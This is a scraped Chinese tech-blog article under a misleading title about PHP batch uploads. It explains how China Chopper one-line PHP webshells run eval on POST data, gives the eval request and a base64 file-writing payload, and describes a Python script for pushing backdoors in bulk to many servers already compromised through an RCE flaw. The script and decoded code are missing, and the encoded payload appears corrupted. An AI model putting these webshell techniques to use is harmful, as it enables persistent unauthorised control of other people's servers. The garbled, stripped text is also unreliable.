位置: 编程技术 - 正文

PHP实现批量上传单个文件(php批量发送邮件)

编辑:rootadmin

推荐整理分享PHP实现批量上传单个文件(php批量发送邮件),希望有所帮助,仅作参考,欢迎阅读内容。

文章相关热门搜索词:php实现数据批量导入,php怎么上传多个图片,php实现多文件上传,php怎么上传多个图片,php怎么上传多个图片,php实现多文件上传,php实现数据批量导入,php批量上传文件,内容如对您有帮助,希望把文章链接给更多的朋友!

很多时候当我们通过某个通用型RCE漏洞批量抓取了很多的webshell后,可能想要批量传个后门以备后用。这时,我们不禁会面临一个问题,使用菜刀一个个上传显得太慢,那么如何快速的实现文件的批量上传呢?本文给大家介绍基于php如何实现这类需求。

0× 原理分析

首先,我们必须了解菜刀是如何通过一句话木马来实现web服务器的文件管理的。

下面是最常见的php一句话木马:

当我们将一句话木马上传到web服务器上后,我们就可以直接在菜刀中输入上面的密码(如上例中的1)连接到服务器上来管理文件。

那么,此处的菜刀如何通过简单的一句话就可以实现对服务器的管理和控制呢?通过分析菜刀的原理,我们不难发现菜刀是利用了eval这个函数来执行通过POST方法传过来的命令语句。

因此,如果我们想通过菜刀一句话木马来实现文件上传的话,只需要向远程服务里上包含一句话的url发送一个带文件写入命令的POST请求即可,比如:

POST:

1=@eval($_POST[z0]);&z0=echo $_SERVER['DOCUMENT_ROOT'];

上面代码包含2个部分:

1. 一句话的密码

2. 发送给服务器端的php执行代码

既然知道原理了,我们只需要发送如下的POST请求即可完成利用一句话上传文件的功能:

POST:

PHP实现批量上传单个文件(php批量发送邮件)

1=@eval(base_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0XhZ2ljX3F1b3RlcydWaW1lKDApO2VjaG8oIi0+fCIpOzsKJGY9JF9QT1NUWyJ6MSJdOwokYz0kX1BPU1RbInoyIlCiRjPXN0cl9yZXBsYWNlKCJcciIsIiIsJGMpOwokYz1zdHJfcmVwbGFjZSgiXG4iLCIiLCRjKTsKJGJ1Zj0iIjsKZm9yKCRpPTA7JGk8c3RybGVuKCRjKTskaSs9MSkKICAgICRidWYuPXN1YnN0cigkYywkaSwxKTsKZWNobyhAZndyaXRlKGZvcGVuKCRmLCJ3IiksJGJ1ZikpOwplY2hvKCJ8PC0iKTsKZGllKCk7&z1=L3Zhcid3cvcm9vdC8xLnR4dA==&z2=aGVsbG8gdybGQh

仔细分析一下这段POST数据包含以下几个部分:

1. 首先是php一句话的密码1

2. 通过eval方法来执行base解码后的z0,解码整理后显示如下:

3. 在z0中继续调用base解码后的z1和z2,解码后如下:

至此,我们可以很清楚的发现上面的POST请求的作用实际上是将一个写有hello world!的名为1.txt的文件上传至服务器上/var/www/root/路径下。

0× 代码实现

基于上面的原理分析,我们可以利用下面的代码基于php一句话来实现文件批量上传:

webshell.txt的格式: [一句话webshell文件路径],[webshell连接密码]如下:

1

1

1

保存上面脚本为batch_upload_file.py,执行命令python batch_upload_file.py webshell.txt 1.txt,效果显示如下:

以上内容给大家介绍了PHP实现批量上传单个文件的相关知识,希望大家喜欢。

Yii使用技巧大汇总 本文汇总了Yii使用技巧。分享给大家供大家参考,具体如下:一、从yii权威指中学到的db组件'schemaCachingDuration'=,为什么不起做用?需要开缓存如何在

在WordPress的文章编辑器中设置默认内容的方法 很多时候我们需要在给WordPress文章编辑器设置默认内容,比如把常用的开头或者文章注意事项放进去,本文就教你给WordPress编辑器设置默认内容。/***Word

yii,CI,yaf框架+smarty模板使用方法 本文实例讲述了yii,CI,yaf框架+smarty模板使用方法。分享给大家供大家参考,具体如下:最近折腾了框架的性能测试,其中需要测试各个模板跟smarty配

标签: php批量发送邮件

本文链接地址:https://www.jiuchutong.com/biancheng/284311.html 转载请保留说明!

上一篇:使用phpstorm和xdebug实现远程调试的方法(phpstorm运行php)

下一篇:Yii使用技巧大汇总

  • 个人所得税退还是不退好
  • 所得税季度预缴纳税申报表
  • 出口退税无纸化备案怎么弄
  • 节能服务公司可以做什么
  • 纳税标准怎么算
  • 销售使用过的车辆
  • 所有者权益分配流程
  • 现金日记账登记错误怎么更正
  • 分公司产生的费用怎么报销
  • 增值税报表申报流程
  • 以摊余成本计量的金融资产交易费用
  • 旅游业差额开票怎么做账
  • 小规模纳税人缴纳上月应交增值税
  • 小规模残疾人交多少税收
  • 收到快递费属于什么科目
  • 工会经费需要计税吗
  • 高铁票抵扣进项税
  • 建筑企业一般纳税人简易计税办法
  • 高工资怎么说
  • 国际贷款平台
  • 主营业务税金及附加包括印花税吗
  • 核定征收小微企业
  • 2017年的7月1日
  • 融资性售后回租按什么缴纳增值税
  • 计提工资和实际发放工资
  • 财务费用属于什么会计科目类别
  • 已预缴税款金额可以不申请退税吗
  • 个人所得税应纳税额计算表图片
  • deepin如何
  • 原始股东减持要交多少税
  • php中的函数可以分为哪几种
  • 如何让windows8.1更流畅
  • 在linux系统中拥有
  • 商企预提待付费什么意思
  • web转义字符
  • laravel 使用redis
  • 资产负债表根据明细账余额填列的项目
  • 经营特许权
  • 待安置期间生活补助费多少钱
  • TypeError The view function did not return a valid response. The function either returned None 的解决
  • php使用什么开发工具
  • 市盈率和市净率多少比较合适
  • 机器学习:基于逻辑回归对优惠券使用情况预测分析
  • 狂神说css笔记
  • 建筑业如何开票
  • 普通增值发票作废税务局能查到吗
  • 坏账准备计提范围包括
  • MySQL常用命令关键字
  • 清包工开发票需要注意事项
  • 委托银行贷款利息发票谁提供
  • 交耕地占用税如何交
  • 通货膨胀有什么表现
  • 成本法下被投资单位其他综合收益变动
  • 小规模纳税人减按1%怎么计算
  • 事业单位零余额账户使用流程
  • 政府补贴资金如何记账
  • 慰问金计入什么部门经济分类
  • 上月做了未开票收入,这月开了票怎么报税
  • 外汇账户具体包括哪些
  • 如何办理公司注册地址变更
  • mysql 常用
  • 如何提高windows7运行速度
  • 老毛桃U盘装系统综合教程
  • centos7如何设置固定ip
  • xp系统改win7系统设置
  • oracle数据库网络配置工具
  • 怎么取消桌面右下角图标隐藏
  • cocos2d-x教程
  • 列举javascript中的所有数据类型
  • Python装饰器实现几类验证功能做法实例
  • unity3d性能优化之贴图科普篇
  • 如何获得select选中的值
  • node 调用c
  • javascript入门基础
  • boost源码编译
  • 开展税务培训
  • 申报个税身份证验证不通过
  • 辽宁事业单位职测考试时间多长
  • 货物无偿赠予政府怎么写
  • 如何加强木材加工质量
  • 免责声明:网站部分图片文字素材来源于网络,如有侵权,请及时告知,我们会第一时间删除,谢谢! 邮箱:opceo@qq.com

    鄂ICP备2023003026号

    网站地图: 企业信息 工商信息 财税知识 网络常识 编程技术

    友情链接: 武汉网站建设